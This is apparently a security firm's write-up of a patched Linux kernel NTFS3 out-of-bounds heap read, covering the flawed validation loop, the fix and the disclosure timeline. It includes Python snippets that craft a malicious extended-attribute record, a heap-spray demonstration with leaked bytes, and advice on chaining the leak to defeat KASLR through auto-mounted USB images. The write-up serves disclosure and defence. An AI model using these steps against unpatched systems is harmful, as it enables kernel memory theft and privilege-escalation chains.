Reading past the fence: An NTFS info leak inside the Linux kernel
Ask an NTFS file for one of its extended attributes and the kernel may hand back 64 KB of its own heap. One branch of a validation loop checks the record against its buffer, then stops and never asks whether the record fits itself.
Key details
- Affected technology
- Linux Kernel
- Vendor
- The Linux Foundation
- Severity
- High (7.3)
- Vulnerability ID
- ZDI-26-697, ZDI-CAN-30482
- Researcher
- Edward Pasenidis
This is the story of a small, well-behaved-looking loop in the Linux kernel's NTFS3 driver that trusts a number it was never supposed to trust. The number is two bytes wide, it lives on disk, and an attacker writes it. When you ask the filesystem for an extended attribute, the driver hands memcpy() that number as a length and copies from a buffer that is nowhere near big enough, straight into your getxattr() reply. The result is a clean, repeatable window into kernel heap memory, chosen and sized by whoever crafted the filesystem image.

A primer on NTFS extended attributes
Extended attributes, "EAs" on NTFS, "xattrs" to Linux, are name/value pairs attached to a file. On NTFS they live in two MFT attributes: $EA_INFORMATION (type 0xD0), a small header describing the packed and unpacked sizes, and $EA (type 0xE0), which holds the actual list of records. The kernel models a single record with struct EA_FULL:
struct EA_FULL { __le32 size; // 0x00: total size of THIS record (aligned) u8 flags; // 0x04: u8 name_len; // 0x05: length of the name __le16 elength; // 0x06: length of the value u8 name[]; // 0x08: name, then a NUL, then the value };
The layout on disk is dense and self-describing: after the eight-byte header comes name_len bytes of name, one NUL byte, and then elength bytes of value. The size field is the whole record rounded up to a 4-byte boundary, so a reader walks from one record to the next by adding size. When you call getxattr("user.foo"), the driver reads the whole $EA blob into a heap buffer, walks the list looking for a name match, and copies that record's value back to you.
Three fields therefore describe the same bytes from two directions: size says how big the record is, and name_len + elength say how big its contents are. Nothing in the on-disk format forces them to agree, that invariant has to be checked. This is a story about the one place it wasn't.
The code that reads the list
Every path into NTFS3 xattrs starts by calling ntfs_read_ea(), which pulls the $EA attribute off disk into a freshly kmalloc()'d buffer and then validates the record list "for consistency". Here is the loop as it shipped:
/* Allocate memory for packed Ea. */ ea_p = kmalloc(size_add(size, add_bytes), GFP_NOFS); ... memcpy(ea_p, p, size); // 'size' comes from $EA_INFORMATION ... /* Check all attributes for consistency. */ for (off = 0; off < size; off += ea_size) { const struct EA_FULL *ef = Add2Ptr(ea_p, off); u32 bytes = size - off; /* Check if we can use field ea->size. */ if (bytes < sizeof(ef->size)) goto out1; if (ef->size) { ea_size = le32_to_cpu(ef->size); if (ea_size > bytes) goto out1; continue; // <-- the whole bug } /* Check if we can use fields ef->name_len and ef->elength. */ if (bytes < offsetof(struct EA_FULL, name)) goto out1; ea_size = ALIGN(struct_size(ef, name, 1 + ef->name_len + le16_to_cpu(ef->elength)), 4); if (ea_size > bytes) goto out1; }
When a record's ef->size is non-zero, which as we'll see, is always the case for records the kernel itself wrote, the loop does exactly two things: it checks that ef->size fits inside the remaining buffer (ea_size > bytes), and then it continues. It never looks at name_len. It never looks at elength. It never checks that the record ef->size claims to be is actually large enough to hold the name and value it also claims to have. The careful struct_size(...) computation that would have caught it sits in the else branch, reachable only when ef->size is zero.
So the loop happily accepts a record that says "I am 24 bytes long" and, in the same breath, "my value is 65,535 bytes long." Those two statements cannot both be true, and nothing here notices.
Where it goes wrong
Accepting the record is only half the trick; something has to trust the poisoned elength. That happens a few lines later in ntfs_get_ea():
ea = Add2Ptr(ea_all, off); len = le16_to_cpu(ea->elength); // attacker-controlled, up to 0xffff if (!buffer) { err = 0; goto out; } if (len > size) { // 'size' = the CALLER's buffer size err = -ERANGE; ... } memcpy(buffer, ea->name + ea->name_len + 1, len); // :302
len is read straight from the record's elength. The only bound applied is len > size, where size is the size of the destination buffer the caller supplied, a check that the answer will fit in the reply, not that the data exists in the source. Then memcpy() copies len bytes starting from ea->name + ea->name_len + 1: just past the name inside a record that is only 24 bytes long, out of a kmalloc() allocation sized to the whole (tiny) EA list.
The source pointer is inside a 24-byte object. The length is 65,535. The copy runs off the end of the object, off the end of its slab, and keeps going and because the destination is the buffer getxattr() returns to userspace, everything the memcpy() scoops up on the way is handed straight back to the caller. The invariant that should have held, a record's size must cover its own name and value, was never enforced and elength becomes a length primitive pointing into the kernel heap.
The regression
This isn't ancient code. The Fixes: tag on the patch points at commit 0e8235d28f3a ("fs/ntfs3: Check fields while reading"), authored in October 2022 and merged for Linux 6.2. That commit is the one that added the consistency loop above, it was a hardening change, written specifically to "check all stuff for correctness while reading from disk." It tightened find_ea(), added bounds to the walk, and introduced the per-record validation.
And it very nearly got it right. The else branch — the ef->size == 0 case, does the full struct_size() accounting. But the common ef->size != 0 path took a shortcut: bound the record against the buffer, continue. The hardening commit closed the door and left one window open. Every kernel from 6.2 onward inherited it.
There's a nice irony in the fact that the writer side never produces this shape. When
ntfs_set_ea()appends a record it always setsnew_ea->size = cpu_to_le32(add), whereaddis the correctly alignedstruct_size(...). A record written by Linux always has asizethat honestly covers its contents, which is exactly why the reader's shortcut looked safe in testing. Legitimate images never exercise the bug. You only reach it by handing the kernel an image no friendly tool would ever write.
Building it to break it
To reproduce this properly we need the real kernel driver, not the FUSE ntfs-3g userspace one, the vulnerable code is fs/ntfs3, which only runs when you mount with -t ntfs3. I built Linux 7.2-rc1 (the tree the advisory was coordinated against) for arm64 with CONFIG_NTFS3_FS=y and KASAN on, and booted it under qemu-system-aarch64 with HVF acceleration. KASAN is pure software instrumentation, so hardware virtualization doesn't get in its way, and an arm64 guest on an Apple-silicon host runs at native speed.
The image is where the first surprise showed up. The plan was the obvious one: create an NTFS image with ntfs-3g, drop a normal user.pwn xattr on a file, then patch the on-disk record to inflate elength. But when I dumped the image, the name wasn't stored as an EA at all, it came back as 70 00 77 00 6e 00, i.e. p.w.n. in UTF-16, because ntfs-3g maps the user.* namespace to NTFS alternate data streams, not extended attributes. The kernel's EA code path never sees them. Two implementations of "the same" filesystem disagree about where a user. xattr lives.
ntfs-3g does expose the raw EA machinery, though, through a special xattr name system.ntfs_ea whose value is the packed EA_FULL list. So I built a well-formed record by hand — name user.pwn, value "AAAA", size = 24, elength = 4 — and wrote it directly:
name = b"user.pwn"; val = b"AAAA" body = bytes([0, len(name)]) + struct.pack("<H", len(val)) + name + b"\x00" + val size = (4 + len(body) + 3) & ~3 rec = struct.pack("<I", size) + body + b"\x00" * (size - 4 - len(body)) # -> setfattr -n system.ntfs_ea -v 0x<rec.hex()> file
That produced a genuine $EA record on disk:
000141a8 18 00 00 00 18 00 00 00 18 00 00 00 00 08 04 00 ................ 000141b8 75 73 65 72 2e 70 77 6e 00 41 41 41 41 00 00 00 user.pwn.AAAA...
There's the header: size = 0x18 (24), flags = 0, name_len = 8, elength = 0x0004, followed by user.pwn, a NUL, and AAAA. Now the malicious edit is a single two-byte poke on the unmounted image: leave size = 24, change elength from 0x0004 to 0xffff.
data = bytearray(open("ntfs.img", "rb").read()) hdr = data.find(b"user.pwn") - 8 # start of EA_FULL header struct.pack_into("<H", data, hdr + 6, 0xffff) # elength := 65535
Mount it with the kernel driver, getxattr("user.pwn") with a big buffer, and wait.
KASAN catches it in the act
================================================================== BUG: KASAN: slab-out-of-bounds in ntfs_get_ea+0x288/0x3c8 Read of size 65535 at addr ffff00000b774d11 by task trigger/66 CPU: 1 UID: 0 PID: 66 Comm: trigger Not tainted 7.2.0-rc1 #1 Call trace: __asan_memcpy+0x3c/0xa0 ntfs_get_ea+0x288/0x3c8 ntfs_getxattr+0x274/0x300 __vfs_getxattr+0xfc/0x150 vfs_getxattr+0x1ac/0x1cc do_getxattr+0xc4/0x214 __arm64_sys_getxattr+0x5c/0x7c Allocated by task 66: __kmalloc_noprof+0x1b8/0x460 ntfs_read_ea+0x1dc/0x404 ntfs_get_ea+0x2bc/0x3c8 ntfs_getxattr+0x274/0x300 The buggy address belongs to the object at ffff00000b774d00 which belongs to the cache kmalloc-32 of size 32 The buggy address is located 17 bytes inside of allocated 24-byte region [ffff00000b774d00, ffff00000b774d18) ==================================================================
Everything lines up with the source. The allocation is the 24-byte EA list from ntfs_read_ea(), living in kmalloc-32. The read is Read of size 65535 — our inflated elength. It starts 17 bytes into the object: offsetof(name) = 8, plus name_len = 8, plus the one NUL byte — exactly ea->name + ea->name_len + 1. And the call stack is the advisory in miniature: getxattr → ntfs_getxattr → ntfs_get_ea → __asan_memcpy, reading out of an object allocated by ntfs_read_ea.
Meanwhile, in userspace, getxattr returned 65535. The syscall didn't error. It succeeded, and it handed my process 65,535 bytes.
KASAN tells you that it leaked, not what
Here's a subtlety worth calling out, because it briefly fooled me. When I dumped the 65,535 bytes my process received, they were all zero. Every one of them.
That is not because the heap was empty, it's because of how KASAN reports. When __asan_memcpy detects that the source range is poisoned, it files the report and then returns without performing the copy. KASAN is an oracle for detection, not a faithful emulator of the buggy behaviour: it proves the access is out of bounds and specifically prevents the bad bytes from moving. My destination buffer stayed as pristine as it started.
So a KASAN kernel is the perfect instrument for proving the bug and the worst possible instrument for demonstrating the disclosure. To see the data actually leave the kernel, you need a kernel built the way real ones are: without KASAN, where memcpy() is just memcpy().
The disclosure, for real
I rebuilt the same 7.2-rc1 tree with CONFIG_KASAN off and everything else identical, and before triggering the bug I sprayed the kmalloc-32 slab with a recognizable pattern, thousands of user keys via add_key(), whose 8-byte payloads land a user_key_payload in exactly that cache. Dialing elength down to a more surgical 0x400: big enough to run well past our 24-byte record, small enough to stay inside the mapped slab pages next door instead of sailing into unmapped memory.
[trigger] sprayed 8192 keys (add_key) [trigger] getxattr(/mnt/file, user.pwn, buf, 70000) [trigger] getxattr returned 1024 bytes [LEAK] 408/1024 bytes non-zero, 252 bytes == 0x41 (sprayed marker), first non-zero at +0 [LEAK] bytes at +0: 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 92 04 00 00 ff ff 41 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 92 04 00 00 ff ff 41 41 41 41 41 41 41 41 ...
There it is. The first four bytes are our own record's value ("AAAA"). Everything after is out of bounds — and 252 of the 1024 leaked bytes are 0x41, the marker I sprayed. Read the repeating unit and you can see the neighbours' structure: eight bytes of 0x41 payload, a run of zeroes, then 08 00, a datalen of 8 and more metadata, then the next key. We are reading the user_key_payload objects of unrelated keys straight out of the slab.
With no KASAN in the way, the memcpy() executes in full and the bytes it walks over are copied verbatim into the getxattr() reply. The zeroes are gone; what comes back is other tenants of the kernel heap.
That's the whole game. The attacker chooses all three dials:
Length: Set directly by
elength, how far past the object the read runs.Slab: The total EA size picks the
kmalloc()cache the object lands in. I hitkmalloc-32; the original report landed inkmalloc-96.Offset: Where inside the object the read begins, at
name + name_len + 1.
It is a positioned, sized, repeatable heap read whose output is delivered through a completely ordinary syscall return value. No crash required.
Stating the invariant in code
The patch (c22f91d82cb9, "fs/ntfs3: validate ef->size covers the record's name and value") is exactly as small as the bug deserves:
size_t need; ... /* Check if we can use fields ef->name_len and ef->elength. */ if (bytes < offsetof(struct EA_FULL, name)) goto out1; /* Size needed to hold this record's name and value. */ need = struct_size(ef, name, 1 + ef->name_len + le16_to_cpu(ef->elength)); if (ef->size) { ea_size = le32_to_cpu(ef->size); if (ea_size > bytes) if (ea_size > bytes || ea_size < need) /* must cover the record */ goto out1; continue; }
Two changes. First, the offsetof(name) guard moves above the ef->size branch, so name_len and elength are always safe to read. Second, need (the space the record's own name and value require) is computed unconditionally, and the ef->size != 0 path now rejects any record whose size is smaller than need.
Feed the fixed kernel our poisoned record and the arithmetic closes the door: need = 8 + 1 + 8 + 0xffff = 65552, ef->size = 24, 24 < 65552, goto out1, -EINVAL. The record is thrown out at read time and the memcpy() is never reached. The invariant is finally stated in code: a record must be big enough to hold what it claims to hold.
What you can build on it
On its own this is an information-disclosure primitive, and the CVSS reflects that: local vector, low privileges, high confidentiality impact, a bit of availability risk (a large enough elength can walk into an unmapped page and take the box down with an oops), and scope changed, because the data crosses out of the kernel's trust boundary into an unprivileged process. A few properties make it more useful than a typical read-OOB:
It's an oracle, not a one-shot.
The read is deterministic, sized, and returned cleanly through getxattr(). You can call it in a loop, re-reading the same region or re-grooming between calls, with no corruption and no noise.
The attacker picks the neighbourhood.
Because the total EA size selects the kmalloc() bucket, you choose which slab you're peering out of. Want to read the cache where a juicy fixed-layout object lives? Size the EA list to land there.
It leaks pointers.
Kernel heap objects are full of pointers, list heads, RCU callbacks, ->ops tables, back-references into .text and into other slabs. A positioned read of an adjacent object hands you kernel addresses, and kernel addresses defeat KASLR. That's the classic first half of an exploit chain: the ZDI writeup notes it can be leveraged "in conjunction with other vulnerabilities to execute arbitrary code in the context of the kernel," and this is the mechanism. Pair the address disclosure with a separate write primitive, a heap overflow, a UAF, a type confusion elsewhere in the kernel and the leak supplies the where. The read beats KASLR and maps the layout; the write does the damage.
Delivery is realistic.
Mounting an NTFS filesystem needs CAP_SYS_ADMIN, which sounds like it caps this at root, but that's not how these images meet a kernel in practice. Desktop Linux mounts removable media for you: plug in a USB stick and udisks2 mounts it, and on modern distributions the in-kernel ntfs3 driver is what handles NTFS. A crafted image on a thumb drive, or an attacker who can get one auto-mounted, reaches the vulnerable path as an ordinary logged-in user. The EA is read the moment something calls getxattr() on a file in the image, which a file manager building a property view will happily do on its own.
Disclosure Timeline
- 10-06-2026: Reported to the vendor through Trend ZDI (ZDI-CAN-30482).
- 24-06-2026: Fix c22f91d82cb9 authored.
- 14-09-2026: Coordinated public disclosure as ZDI-26-697.
Closing thoughts
The bug is almost boring in its shape: a length field that describes attacker data, trusted without being checked against the container it lives in. What I like about it is where it hid. It didn't live in un-audited legacy code, it lived inside a hardening commit, in the one branch of a validation loop that took a shortcut. The fix and the bug were written by the same effort to "check all stuff for correctness," three years apart.
It's a good reminder that a validation routine is only as strong as its least-guarded branch, and that "the record fits in the buffer" and "the record fits itself" are two different invariants. You have to check both.
- Linux Kernel
- NTFS3
- Heap Overflow
See what Mind The Hack would prove
in your environment.
Request a demo and see which exposures an attacker could actually reach, exploit, and chain.